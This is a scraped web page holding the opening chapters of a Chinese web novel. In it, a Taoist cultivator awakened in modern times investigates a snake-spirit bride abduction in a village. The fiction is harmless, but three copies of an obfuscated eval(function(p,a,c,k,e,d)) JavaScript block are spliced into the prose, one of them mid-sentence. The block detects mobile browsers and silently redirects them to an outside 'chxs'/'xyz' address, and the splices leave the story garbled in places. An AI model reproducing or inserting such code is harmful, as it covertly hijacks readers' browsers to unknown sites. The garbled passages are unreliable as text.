《我不当道士好多年》 1. 楔子 大寒。 卯时整。 屋内燃起火烛。 一位中年妇女模样的人,为凛冬披上一件厚重的白色氅衣。 看着凛冬睡眼惺忪不谙世事的模样,妇人忽然就落下泪来。 “伯母?” 凛冬发现她落泪,以为她是忧心别离,宽慰道:“伯母,我又不是小孩子了,早就该出去历练,再说,此次去除妖不是还有大师兄作伴嘛,您总该信得过大师兄的本事不是?” “好好好。”妇人抹去眼泪,将提前准备好的包裹拿出来,塞到她怀中,千叮咛万嘱咐:“出门在外,记得照顾好自己,什么都没有活着重要。” “您就放心吧,等除了妖,我肯定全须全尾的带江南最有名的点心回来见您和伯父。” 妇人却并未回应她的话,只是在她脸上亲了一下:“时辰不早了,你师兄肯定在等你了,快去吧。” “那我走了。” 凛冬踩了几脚门口的雪,快到院门时,心中忽有一道声音促她回头。 因此她回头和站在门口露出半个身子目送的妇人挥了挥手,这才来到院外,与早已等候多时的大师兄汇合。 男人拍了拍肩膀上的雪,一言不发看着凛冬向自己走近。 “大师兄。” 他素来沉默寡言,与凛冬汇合后更是一言不发,只自顾加快脚步向前走。 “大师兄,你怎么走这么快?”凛冬快步跟在他后面,见他不说话,主动问:“伯父没让我去拜别吗?” 闻言,大师兄停下来,凛冬低着头走路,没能及时收住脚,撞了他一个趔趄。 他回头重新审视自己这个刚刚及笄,还有些冒失的小师妹,良久才开口:“师父说不想见你。” “我不过就缠着他老人家要你带我去江南玩嘛,他都答应了怎么还生我的气。” 凛冬自说自话,丝毫没察觉到大师兄的脚步慢了下来。 两人来到马车停靠处,大师兄坐在车前,拿起鞭子驱马赶路,凛冬则是坐在他旁边,呼出热气去暖冻红的手指:“今年的冬天可真冷啊。” “你去里面点上炭火烤烤吧,别冻坏了身体。” “好。”凛冬起来钻进车里,点上炭火。 马车内很快暖了起来,暖意让她浑身发软,伴随着马车的摇摇晃晃,凛冬控制不住闭上了双眼。 “大师兄,我睡一会儿,到了再叫我。” …… “小师妹,醒醒。” “小师妹,快醒醒,我们到了。” “这里就是丰阳古墓,血珠子就在这里,只要找到血珠子,你的病就有救了。” 听见这话,半睡半醒的凛冬皱起眉。 大师兄的声音怎么变了? 他们不是要去江南抓妖吗?为什么在古墓,血珠子又是什么?她又什么时候生病了? 凛冬睁开眼,想看看怎么回事,却发现自己被困在一个空间狭小的木棺内。 她有些不安,伸手推了推身上盖着的棺材板,却没推动。 “诸天之炁,皆为我用,三界内外,离火随行。” 凛冬揉了揉僵硬的手指,掐了一个诀出来,火焰如同她跟随伯父学艺时一样从她指尖喷涌而出。 不过这次的火焰比以往大,直接引燃了整个木棺顶部,差点烧着她的头发。 “!!!” 凛冬吓得脑袋使劲往后贴。 不等她尖叫出声,就听外面有人大喊:“有鬼啊啊啊啊啊!” 完了。 凛冬如是想。 她苦心修炼十余载,竟然在鬼面前放火把自己烧了,真是丢人丢到鬼面前了。 传出去她还有何颜面面对伯父和师兄们? 不过很快,她冷静下来,引水灭了火,因为方才的灼烧,棺材板松动了一些,她踹了几脚,终于把棺材板踹飞了出去。 “大师兄,咳咳,这里是……怎么了?” 凛冬坐起来,拨开身边的烟雾四下寻找。 只是,这地方没有大师兄,只有几个穿着打扮怪异的人类,正用惊恐的眼神盯着她。 在她正对面,是一个模样英俊却被剪短头发的男人,他身后护着一个面色惨淡,眼神满是惊恐的姑娘。 见此情此景,凛冬顿时明白刚刚的那几声小师妹不是在喊她。 她低下头,看向方才因她坐起而从她身上滑下去的东西。 是她炼制的法器万妖幡。 淡淡的紫气萦绕在万妖幡周围,她将手掌覆上,听见万妖幡传来低语: 凛冬你醒了。 你可还记得。 那日,他们血洗紫微门。 掳走你的师妹,逼她肉身献祭。 凛冬。 不要忘记仇恨。 不要原谅他们。 记忆如风灌入她的脑海,凛冬忽然就全部想起来了。 大寒那日,钦天监带人来师门抓她,伯父早有预测,让大师兄护送她离开。 后来师门被灭,大师兄带她隐姓改名混入江湖,偶然听到小师妹还活着,便潜回京城搭救,却目睹小师妹被杀。 再后来,皇帝疯魔,仇恨女人,甚至下令见到江湖中的女人就杀。 为了护她,本就身负重伤的大师兄耗尽全部修为在此处开辟了一处墓室,将她封于木棺,藏于此处。 而后只身引开追兵,再无消息传来。 距离师门被灭,已经过去不知道多久,大师兄最后怕是也难逃死劫。 整个紫薇门就剩下她这个没有拜师的人还活着了…… 思及此,凛冬想要问问刚才看见的几人今夕何夕,却瞥见几个人正趁她发呆之际悄悄溜走。 "站住!" 几个人停住,相互对视几眼,接着头也不回朝外狂奔。 “诶等等!” 眼看着人跑了,凛冬从棺材跳出来,拿上自己的东西追上去。 几个人脚底跟抹了油似的,格外能跑,一口气跑出了整个古墓,才瘫倒在地。 “师兄,我实在是跑不动了。” “师妹别怕,我们跟她拼了。” “拼什么,你们跑什么,我又不吃人。”凛冬觉得有些无语,她要不是身体素质好,刚从棺材里站起来就这样跑谁受得了。 “我问你们,现在是哪一年,当今皇帝是谁?” 几个人面面相觑,还是那个师兄最先开口:“封建王朝早没了,现在是新社会,我们没有皇帝,只有领袖。” “这样啊。”凛冬适应了阳光后从阴影出来在附近转了一圈,发现四处都是山林,“能带我去京城或其他地方吗?我会捉鬼算命,可以当报酬。” 见凛冬并不是什么恶鬼,男人胆子大起来,和凛冬谈生意:“我想要你脖子上的血珠子,可以吗?” 凛冬低头看了看大师兄留给自己唯一的念想:“不行。” 男人脸上的希冀淡了下去,凛冬看见,回想起在棺内听到的话,又接着说:“不过我可以治好你的小师妹。” “成交。” 男人答应的毫不犹豫,于是凛冬就这么坐上了去新世界的车。 一开始,她好奇的打量着车上的一切,和几个人聊的特别开心,但随着越野车的颠簸,她感觉到胃里一阵惊涛翻涌。 坐在她身边的人结巴着问她:“你你你不会晕车吧,别吐车里啊祖宗,我给你开窗。” “嗷,我肯定不会吐呕——” “祖宗!” 折腾了不知道多久,凛冬以一副半死不活的样子被带回了叶家。 她躺在叶家的沙发上,旁若无人的瘫着,很快有人送来了药,喂给了她。 吃完药,凛冬又瘫了好一会儿才缓过来,在现代人小师妹的帮助下学会洗澡换衣服。 “这衣裳穿着好生难受。” 凛冬一边走路一边往下拽裙摆,露着腿她怎么都觉得不舒服。 不过来到客厅,看师妹洗完澡也这么穿,想着应该是这里的人都这么穿,也就没再说什么。 “凛冬姐。” 师妹的状态看起来要比在墓里的时候好,但仍旧是白着一张脸,看起来有严重的气血不足,还可能会随时倒下。 “我的病真的可以治好吗?” “可以,我写个药方,让他们先去抓药,你先喝几天,拿纸笔来。” 佣人模样的人送来纸笔,还贴心拔了笔帽。 凛冬以握毛笔的姿势握起那根笔,写了几个很丑的字:“每一样都分开抓,抓回来记得给我看看。” 佣人很快拿着纸去抓药了,客厅内又陷入安静。 “凛冬姐,你要不要看电视。” 师妹把电视打开,凛冬一瞬间就对这个像极了皮影戏的东西吸引了兴趣。 “这是什么?” 师妹简单讲了一下电视是什么东西,又跑去拿了个手机给凛冬,告诉凛冬手机怎么使用,还贴心给凛冬注册了账号,跟凛冬互加了好友。 凛冬对新事物接受的非常快,熟练运用手机后,就上网搜索了关于紫薇门的消息,还查了很多历史,整天泡在手机里寻找有关紫薇门的消息。 “凛冬姐。” 直到师妹出声叫她,她才察觉到身边多了很多人。 一名老者被俊美的男人搀扶着,用一双浑浊的眼睛盯着她,像是要把她看个透彻。 出于对长者的尊重,凛冬站起来。 “爷爷,先坐下吧。” 男人扶着老爷子坐下,凛冬在他落座后也跟着坐下,打量起亲自倒茶的男人。 男人收拾了一番,凌乱的头发重新塑了型,凛冬看了好半晌,才想起来这张脸。 她见过的。 只是时间过去这么久,那人应该也早已投胎转世了。 是不是眼前这人还不知晓。 偶然看到这么像的一张脸,她还是有一些恍惚。 她记着一切,但世界变了,物非人非只余模糊记忆。 “听闻姑娘是修道之人,敢问姑娘学的是五术中的哪一术?” “哪五术?” 老者似乎没想到她会这么问,愣了片刻才说:“山医命相卜。” “没听过。”凛冬凝神,一副思考的模样,“学完能飞升吗?” “不能。”老者咳嗽了两声,“姑娘修的是飞升之术?” “算是吧,现在没有飞升之术了吗?” 凛冬发出真诚疑问,对现在的世界觉得有些不可思议。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凛冬检查了一下药材的品质,再三向师妹确认,这些药材已经是目前药材中最好的品质。 “再准备六十份吧,你们这药不是太好,得喝两个月。” 种草药肯定是来不及的,只能以量来补。 煮药是凛冬亲自做的,她将几味药物分开煮了两份,不知道用了什么手法,整个别墅里都飘散着一股子药香味,开窗户也淡不下去。 听闻凛冬在家煮药,弄得哪里都是药味,去上班的白起班儿也不上了,回来凑热闹。 凛冬倒好两份药,端着往外走,还不忘问师妹:“你房间有浴桶吗?” “必须是木头吗,浴缸不可以吗?” “可以。” “有的。” “那走吧,去你房间。” 白起一路在两人身后跟着,到了门口,凛冬忽然停下,转过身看着他:“你跟过来干什么?” “不可以看吗?” “你们是夫妻吗?”凛冬目光在两人身上流转。 两人慌忙摇头。 “不是的,我和师兄不是那种关系。” “哦,那等下她脱衣服,你在不方便吧。”凛冬把白起看的耳尖又开始泛红。 白起就这么被留在了屋外,他等了一会儿,觉得这样干等浪费时间,索性下楼边工作边等。 接下来的每日,凛冬都坚持亲自煮药,监督师妹泡澡,如此两个月,师妹彻底好转,恢复了气血,脸色红润许多,不再死气沉沉。 她身体刚一痊愈,便申请去国外读书,临行时,哭着和凛冬告别。 “凛冬姐,我给你发信息你千万记得回我。” “好。” 凛冬被她哭的心里酸酸的,白起敏锐察觉到她的情绪,刚准备在师妹走后安慰表现一下,就听凛冬问:“师妹叫什么来着?” 白起:“……” 送走了小姑娘,凛冬有了空闲,让白起帮忙整来了不少材料,重练万妖幡。 万妖幡被她重新补好后,她试了几次古法回到过去,却屡屡失败,发觉可能是妖力不够后,跑出去捉了几天恶鬼投喂给万妖幡里面的妖。 可即是是这样,也远远不够,凛冬开始不满足捉鬼喂妖这条路。 万妖幡想要炼好,需要更多的妖精,她和师兄游走多地,费了一番力气抓到的恶鬼也不少,但可惜都只能做饵料投喂给先前的妖精,但效果依旧不好。 这也是她和人斗法一直处于弱势的原因。 凛冬思来想去,决定再找新的妖精补充妖力。 她仔细考虑一番,决定把注意打在为了陪着她,跑来客厅办公的白起。 她悄悄观察着白起的电脑屏幕。 白起正在用网页搜索她所在朝代的相关历史,不过内容定位是关于婚姻的。 她轻轻咳嗽了一声:“白起,帮我做个网页吧。” 白起手忙脚乱关闭自己搜索浏览的网页:“做什么网页?” 2. 阴差阳错 大雪封山。 去往山里唯一的路就这么被无情的大雪封住了,往里走的人只好在山脚下一家农家小院落脚吃饭。 “老板,来一壶烧酒,再来几个下酒菜。” 不能开车,身子又冷,哪怕吃着火锅也不尽兴,于是有人叫老板送来一壶烧酒和几盘下酒菜,想借此暖暖身子。 一时间烟味混杂着酒精味,熏的人都精神了不少。 推杯换盏之间,不少人都喝的上了头,脸上升起红晕。 借着酒劲,陌生人彼此一开始的拘谨也松懈下来。 “大哥,我刚刚看你是山那边过来的,路上雪堵的很不很,多久才能走啊?” 被叫大哥的人是一个很壮实,目测身高在一米九左右的壮汉,脸上带着煞气,看着像是做屠夫一类工作的。 “估计得两天走不了。”大哥摆摆手,“我劝你们也别去了。” “为啥?” “你们没听说吗,那边有个村子触怒柳仙了,柳仙降罪,现在整个村子已经变成了蛇村!” “真的假的,你不会编瞎话诓我们呢吧。” “方圆百里你去打听打听,我强哥什么时候骗过人?” 喝醉后这壮汉胆子大了起来,该说的不该说的都一轱辘往外吐。 “这个变成蛇村的村子原先叫安村,十里八乡的都知道,这个安村好出美女,出生在这个村子里的小闺女长得那是一个比一个水灵。” 壮汉顿了顿,将杯中的酒一饮而尽,一旁人见状,赶紧给他倒上新酒,好让他喝好了继续讲故事。 壮汉抿了一口酒润喉,继续说:“这安村的闺女里,最好看的还是要属村长他闺女,才十多岁就长得跟电视里的大明星似的……” 安村村长的闺女叫安晶,今年刚满二十,因为生了一张美丽的小脸蛋,很小便叫住在山里的柳仙选中,要娶她当新娘子。 有个游走好几个村看事儿的出马仙知道后,过来告诉村长,让村长准备嫁妆送闺女出嫁。 但村长不信这鬼神之说,非但没有听,还早早就给闺女定了亲,把闺女嫁给了外地一个有钱小子。 成亲这天,柳仙怒了,派了子孙过来大闹婚事…… “听说那日新郎官去接新娘,和几个兄弟一进屋子,就看到床上盘着一条腰身有一米粗的青蛇,正盯着他吐蛇信子。” “后来呢,新郎官怎么样了?” “新郎官和他几个兄弟哪里见过这场面,当场就吓晕了,听说那青蛇走的时候,背上还驮着柳仙认定的新娘子。” 壮汉描述的绘声绘色,好似自己真的亲眼看见一般。 凛冬吃饱喝足后,抛着手里的铜钱把玩,心其实早就跑到壮汉讲的故事里去了。 “他说的是真的吗?怎么听着这么瘆人呢?我们来这里不会就是为了这个事情吧。” 白起问完,捞起一片烫好的牛肉放入油碟子里,沾满了香油送入口中。 凛冬并不发表自己任何看法,只是反问:“你怎么看?” “我觉得像是为了逃婚编出来的。” 在没有听真正参与事情的人发言前,凛冬一概不信这种谣传:“真真假假,我们到了问问当事人不就知道了吗?” “还真是为了这个事儿来的啊。” 凛冬将铜钱高高抛起,等它落下来的一瞬间合掌接住。 在白起的注视下,她移开手掌,看到是正面,伸手招呼:“老板,我们要一壶雄黄酒。” 两日后。 路通了,凛冬和白起也跟随滞留的大部队,重新启程去往安村。 下雪后,环境是安静的。 为了保暖,白起将车窗都关得严实,刚好把音响声音隔绝在车内,不去打扰雪的清静。 舒缓的音乐犹如安眠曲,让坐在副驾驶因为晕车而睡觉的凛冬睡得更香。 白起瞥了一眼少女恬静的睡颜,将音乐声调小了一些。 他们在早上八点出发,路上被清扫的干净,期间也没有再下雪,所以一路畅通无阻,下午五点多的时候,他们比预计时间还要早半个小时到了目的地安村。 车一停,凛冬迫不及待下车去呼吸新鲜空气,白起这边安全带都解开了,却接到了公司秘书打来的电话。 隔着车窗凛冬都能听到他训下属的声音:“我一个月给你开那么多工资是干什么的,我弟不是在家吗,让他去签合同,不去?告诉他不去以后别想从我这里拿到一分钱生活费。” 远远看着有人靠过来,凛冬敲了敲车窗,提醒他快点结束通话。 白起放下车窗,看到人,三言两语交代完所有事情,挂了电话后从车上下来,去后备箱取他们这次带来的工具。 “两位就是紫薇大师吧,这几日大雪封山,不能远迎,怠慢了两位大师,实在抱歉。” 说话的妇女面无神气,看样子饱尝过生活的磋磨,却仍然带着浅浅的微笑伸手以示礼貌。 她身后跟着的人很有眼色,上前几步接过了白起手里沉重的箱子。 一群人迎着风往村子里面走去。 和山脚农家乐遇见的壮汉描述的不一样,安村并不是到处都是蛇,这里和普通的村庄没有什么两样。 若说冷清,这几日一直下着雪,村庄里的人都不愿意冒冷出来走动,冷清些也是正常的。 两人跟着妇女进了屋,几个人把箱子放下就出去了,只余村长夫妻。 屋内烧着炉火和炕,妇女让两人在炕上坐下,村长去倒了两杯热茶放在炕桌上,又拿来特产冻梨和花生瓜子招待。 凛冬对那黑黢黢还散发着冷意的梨没什么兴趣,她把箱子打开,从里面拿出自己前不久从网上买的道具组装好,放在桌子上。 那是一个类似鸟站架一样的支架结构,中间挂着一个铃铛,只是轻微晃动,铃铛就能发出清脆的响声。 “请您如实告诉我,你所知道的,事情的全部经过。” 妇女对从未见过的法器产生好奇,多看了好几眼才说道:“好。” 她将事情娓娓道来。 安晶是一个普通大学生,她学习不算很好,中规中矩,高中勉勉强强升了个本科。 安晶长得好看,小时候没少被学校里的男孩子追,她作为妈妈经常教育安晶不要早恋,安晶也一直很听她话。 直到三个月前,她突然闹着要嫁给发小张知行。 两人从小一起长大,捉鸡逗狗的事情没少干,学习更是各自差的一塌糊涂,哪怕两家父母出手拆散过两人,两人关系却还是要好的很。 高中毕业后,张知行没考上,举家搬去了南方,跟着他爸学做生意,这小子学习不好,做生意倒是个料子,凭着脑子机灵赚了不少钱。 两人毕业后一直有联系,前段时间张知行攒够钱,就对安晶表了白,安晶想也不想就答应了。 安晶回来跟夫妻两人说后,夫妻两人也觉得这俩小祖宗是命定的缘分,但不想答应的太容易,就找了村子里的算命先生为两人相看八字和定吉日。 原本是打算把婚事定在安晶大学毕业后的,谁知道那算命先生说,安晶结婚要趁早,要不然这辈子就结不成婚了。 他们听了这才着急忙慌答应,开始筹备婚礼,并把吉日定在了半个月前。 婚礼筹备一直都很顺利,为了风光大办,张知行还亲自监工,避免哪一环节出错。 可结婚那天,不知道招了什么灾,本该冬眠的蛇密密麻麻爬满了安晶家的院子,看着格外瘆人。 夫妻两人光想着闺女这辈子的终身大事了,便请人把蛇都捡走送回山里去。 张知行来接人,和伴郎一开门,发现屋子里伴娘晕了一地,人人脖子上都缠着一条蛇,就连准新娘安晶也没逃过。 他们连忙把人送到了医院,却又听酒店那边打来电话,说什么酒店遭了蛇灾,到处都是蛇,酒店老板都吓得报警了。 听说后来光是把蛇抓干净就花了三天时间。 安晶就是在这会儿醒的,她醒来后就有些精神不正常,谁都不能见,只能见张知行,于是张知行一直在医院陪着她,照顾她。 他们见姑娘这样肯定是中邪了,又去找了那算命先生,算命先生却说这事儿他管不了,要找出马的。 他们打听了一番,在隔壁市找到一个很有名气的出马大仙儿,把人连夜请了过来。 一周前。 村长和妇人亲自开车去机场接出马大仙儿,大仙儿姓刘,戴着一副墨镜,总是板着一张脸,从接到他后,夫妻两人就没在他脸上见到严肃以外的表情。 刘大仙来到他们家后,先是拿着罗盘在他们家转了一圈看风水,又要了一家人和新郎官的生辰八字,才问事情的经过。 妇人把故事从头到尾讲了一遍,末了,哭着求他:“大仙儿,您可一定要帮帮我闺女啊,好好一个人,怎么说疯就突然疯了。” 刘大仙听完事情的经过,直拧眉:“你们没有隐瞒什么吧?” “没有啊,我们可不敢瞒您什么。” 刘大仙第一次拧起眉思考:“可我看你们家这个样子,像是触怒了柳仙,你们真的什么都没有做?” “千真万确。”妇人保证道,“每逢初一十五,我都去几位大仙儿庙里上香的,她爹虽然不信这些,但也没干过说过什么触怒几位大仙儿的事和话。” “那你们闺女呢?” “这……”妇人转头看向村长,村长也对此摇头。 闺女是否冒犯了柳仙,他们不知道。 “明天早上,我们去见过你闺女再说吧。” 说定后,两人就照顾着大仙儿歇下。 第二天一早,他们来到医院看事儿,到时,张知行正在给安晶喂粥。 经过药物的治疗,安晶已经好转了许多,神智也清醒,见到夫妻两人喊了一声爸妈。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965912|161235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 大仙儿简单问了两人一些事情结果,推算了一番后,让夫妻两人带闺女回家,开坛做法。 大仙儿开坛时又问了很多细节,了解了事情的经过后,又问安晶是否做过冒犯柳仙的事情。 安晶什么都否认,见沟通不了,安晶又要发疯,大仙儿只能作罢。 他私下把夫妻两人叫来,告诉他们事情的缘由。 原来安晶是和柳仙定了姻缘,本是打算在十八岁就结为夫妻的,却因夫妻二人说毕业后才让安晶谈婚论嫁,柳仙才没急着求娶。 柳仙为此等了两年,安晶却趁着柳仙冬眠筹备婚礼要嫁给别的男人,柳仙知道后就生气了。 所以院子里和举行婚礼的酒店才会出现那么多的蛇。 “那咋办啊?难道要我闺女真的去嫁给那什么柳仙吗?” 躲在屋外偷听的张知行一听安晶要嫁给柳仙,急的冲了进来:“大仙儿,我和晶晶两情相悦,求大仙儿帮我们,成全我们吧。” 刘大仙一脸为难。 看他这般,张知行从身上掏出钱包,把十几张钞票一卷全塞进他手心:“大仙儿,这是我的一点心意,我有钱,只要您帮我,还缺多少香火我再给您补。” 刘大仙心动了,他想了个法子,做了个安晶等身的纸人,让安晶刺破手指给纸人点上眼睛。 接着开坛做婚事,写婚书,把纸人放在提前准备好的轿子中,等候柳仙夜娶新娘。 还特意让村长提醒村民们,听到动静别出去查看,以免再触怒了柳仙。 当晚,院子里传来巨物爬行过地面的摩擦声,一家人听见动静,都躲在屋子里不敢出去。 张知行在隔壁陪着安晶,听到外面动静后,安晶瑟缩在张知行的怀里寻求庇护。 张知行抱着她,一只手轻抚过她的背,安抚她的紧张,另一只手捂着她的嘴,不让她等下发出叫声。 轿子上挂着铃铛,巨物一接近了轿子,就弄响了铃铛。 铃铛响了好一会儿,摩擦声也跟着变大,不知道过了多久,院子里才消停下来,没了动静。 两个人松了口气。 “晶晶,知行,出来吧,没事了。” 门外响起敲门和母亲的呼唤,安晶还是有些怕。 没听到回应,外面的人又开始敲门:“晶晶,知行,你们在里面吗?” “别怕,我去看看。” 张知行松开安晶,摸黑从床上下来,拉开门,不等他看清门外什么情况,就被鞭子一样的武器打晕。 安晶见此情景,发出尖叫。 隔壁的刘大仙听到尖叫,拿起法器从屋子里冲了出来,却只看到被拔掉铃铛的轿子,以及倒地昏迷不醒的张知行。 屋内早已没有安晶的身影,那么大个人,在尖叫声还没有落的时候就被带走了,可想带她走那位的神通。 刘大仙查看了门上的符,没有被破,是从里面主动打开的。 “大仙儿,这可怎么办啊,我闺女她不会有事吧?” 刘大仙打开轿子,纸人身上不知道何时写上了他的生辰八字,还写了一个大大的死字。 脑海中突然浮现两道青色的蛇影,大的宛如蛟龙,小的那条也能一口气吞下十个他。 “柳仙饶命,柳仙饶命。” 他吓得瘫坐在地,缓了好久才爬起来,给夫妻两人退了钱连夜打车下山离开。 夫妻两人后续给这位刘大仙打了多次电话,却都被拉黑,本省会看事儿的大仙也都不接他们的事儿。 无奈之下,他们只好在网上发帖子,发完就刷到了他们的网站,抱着试一试的态度打了网站上留的电话号码,没想到凛冬真的接了,还答应了过来处理。 妇人说完,桌上的铃铛突然掉了,在炕桌子上一连滚了好几圈才停在边沿。 她心头一颤:“大师,是它来了吗?” “不是。”凛冬把坏掉的东西收起来,“不早了,你们安心睡吧,你闺女她现在还活着,别担心,我们能解决。” “好。” 妇人可能以为两人是夫妻,就给两人安排了一个屋子。 为了躲避追杀常年和师兄挤一个屋子的凛冬早已习惯,倒是白起,格外羞涩不好意思。 这里没有其他的屋子,白起又不敢自己一个人睡,只能厚着脸皮和凛冬挤一个屋子。 “凛冬,你说这世上真的有妖吗?” “以前有,现在不好说。” 凛冬也不知道,自打她醒了之后还没有见过妖呢。 她在网上看到说,建国之后不许成精,说不定真就没有妖精。 “今天你那个法器坏了,是它来了吗?那个柳仙?” “不是,是我买的质量差。” 白起不敢相信自己的耳朵:“你在哪里买的,花了多少钱?” “直播间,花了9.9。” 白起:“……” 3. 阴差阳错 “我不是给你开了一个无限额的卡吗,你可以不用这么节俭。” “我看很多人下单就买了,没想到它质量会这么差。” 凛冬初来现代社会就被白家护着,要什么说一声就好,都不需要自己准备,不了解物价,也没被人坑过,自然不懂其中的弯弯绕绕。 也就这一次,她非要自己学着买快递,才踩了雷。 凛冬打开那个软件,发现商家把货全部下架了,评论区一片骂声,就连开直播的账号都注销跑路了。 凛冬把页面给白起看:“这是什么情况?” 白起扫了一眼:“骗子跑路了。” 凛冬:“哦。” 稍后她反应过来:“怪不得买的时候总感觉哪里不对劲。” 白起:“……” 凛冬并不纠结自己被骗的事情,见时间不早了,她脱鞋上床:“睡吧,明天还要早起。” 她说睡就睡,良好的入睡能力让白起都有些羡慕。 反观他,一路开车确实很累,但是这会儿紧张的睡不着,因为这是他第一次跟异性同处一室睡觉,还是自己一见钟情的异性。 所以他辗转难眠,一直到夜深才堪堪眯着觉。 鸡叫三声,已是卯时。 白起听到声音翻了个身,他困得不想睁开眼,所以随便扯了被子盖住耳朵继续睡。 暖烘烘的屋子忽然跑进来一阵冷风,钻入他的被窝,他打哆嗦的同时听见门轻轻合上的声音。 意识到可能是凛冬醒来出去带来的冷风,白起猛然惊醒,用最快的速度爬起来穿衣服,生怕一个没跟上凛冬又自己单独行动去了。 凛冬站在屋檐下,欣赏落了一夜的雪为大地织出的新棉被。 “起来了?” 看着拉链都没拉好的白起就这么猴急着出来,还被空气冻的打了个冷颤,凛冬莫名觉得他有点可爱。 就像多年前她认识的那个白羽一样。 “凛冬,我们起这么早做什么?” 外面很冷,白起穿好衣服后搓了搓手。 “我打算去附近山上转转,你也要去吗?” “去。” “行。” 两人简单洗脸刷牙,屋外头的冷让白起比刚刚清醒更多,临出发前,他从这次带来的行李箱里取出围巾,给凛冬围上:“别冻着了。” “我自己来。” 凛冬拒绝了他的帮助,自己将围巾裹在脖子上,完全忽视了白起被拒绝后眼里的落寞。 说是去附近山上转转,凛冬是真带着白起在山头转了一圈。 山上的动物不像人类会烧火开暖气,只能躲起来,尽量在太阳正当空的时候出来。 这个点正是冷的时候,没有动物出来,更别说已经冬眠的蛇。 “没想到快立春了,这里还是这么冷。” “这里的春天,确实要比我们那里来的晚一些。”白起有些体力跟不上,他喘着气,断断续续说着,原先堵着口鼻的围巾被他拨了下去,以免影响呼吸。 凛冬终于停了下来,不再继续向前,白起趁机靠在一棵树上休息:“这附近连一条蛇影子都没有。” “怎么没有,这里不就有两条很大的。” 凛冬徘徊几步,忽然蹲下来,掏出手机对着村子所在的方向拍下一张照片。 “在哪里,我怎么没有看见。” 白起凑过来脑袋,想看看她在拍什么。 凛冬开广角拍的照片中,村庄处于照片的正中央,刚好横隔开连在一起的群山,像一条巨大的吊坠。 “这是什么?” “双龙戏珠。” 凛冬说的并不详细,白起只好继续追问:“那是什么?” “是一种奇特的地理现象,你看,照片中连起来的山像不像两条龙,村庄刚好位于两条龙中间,村子里建筑叠在一起,从这里看起来就像是一颗龙珠。” “你的意思是,这两条龙在抢夺村子里的气运?” 凛冬不急着否认,只是反问:“你见过龙吗?” “没有,只听过一些传说。” 凛冬将血珠子掏出来把玩,一片白茫茫的衬托之下,血珠子更是红的夺目。 “我以前听大师兄说,真正的龙生下来就有龙珠,后天化龙的龙,龙珠就像我们修行之人的内丹一样,是自己修成的。 化龙是很漫长的过程,但不是没有捷径,一些愿意与人接触,帮助人族的蛇,只要和人族达成供养契约就可以依靠供奉快速化龙。” “他们真的在供奉柳仙,是吗?” “这里确实有百岁以上的蛇,只是是不是他们口中说的柳仙,得见了才能知道。” “真有蛇啊?” 不知道是不是天冷的缘故,白起的脸在听到凛冬确定的话变得煞白。 “吓着了?”看到白起闻声色变,凛冬拍了拍他的肩膀,宽慰道:“也不一定都是坏的,你看我,我不就是你们口中说的僵尸吗?我长得也没有很可怕吧。” “你不一样。” “对人族来说,只要不是人,就是异类,难道不是么?” 她曾经也是人族,和其他人族比,她只是懂修行,会一些法术,却被天子说,真正的人族不会邪术,他们是妖。 是嫉妒还是排斥异族已经不重要了。 王朝已经灭了。 她的师门,同盟,全都随着王朝覆灭了,后世连资料都没有。 天子执笔,篡改历史,后世不知,查无实据。 只剩下不生不死的她,还有那份报仇的决心。 如果此地真有蛇妖作乱,刚好为她的万妖幡添新妖。 白起感觉到凛冬身上散发出的悲伤,想张口安慰什么,可他不知道她的过去,不知该如何开口,只好保持沉默。 “走吧,回去应该刚好吃早饭。” 凛冬情绪收的很快,白起反应过来的时候,她已经朝回去的方向走远一段距离了,他也不再休息,快步跟上。 早饭确实在他们赶回去时做好,妇人特意按照凛冬的要求煮的清淡素食,白起有些吃不惯,妇人发现后给他煎了些肉饺。 吃过饭,凛冬带着东西问妇人:“村子里供奉柳仙的地方在哪里?” “我同你们一起去吧。”妇人放下手头忙碌的事情,带上香和贡品,随着两人一起去供奉蛇仙的庙里。 一进庙内,凛冬就感觉到了蛇族浓烈的气息,她学着妇人的模样燃了三支香,插在香炉中,阖眼,口中念念有词。 白起就跪在她身边,能听得见她说话,却听不懂她在说什么,好奇心起来却又不敢问,怕打扰凛冬做事。 三人上完供回来,一直走到家中,凛冬才开口:“原先的花轿你们是怎么处理的?” “在屋子里用符镇着。”妇人给凛冬指了方向,凛冬看见门上贴的两道符,上手揭开。 推开门,落灰的花轿直直映入眼帘。 她进去,挑起花轿的门帘,血淋淋的纸人让门外围观的两人都倒吸一口凉气。 凛冬上手将纸人拖了出来,丢在院子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965913|161235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,拍了拍手。 纸人身上写着两个生辰八字,虽然模糊,但凛冬还是一眼就认出来其中一个是安晶的,另一个自然就是那个出马的刘大仙的。 之前来的那个出马仙是个有真本事傍身的,只是可惜这次的事情于他而言有些棘手。 “去弄点颜色相近的染料,把上面的字都涂掉。” “好。” 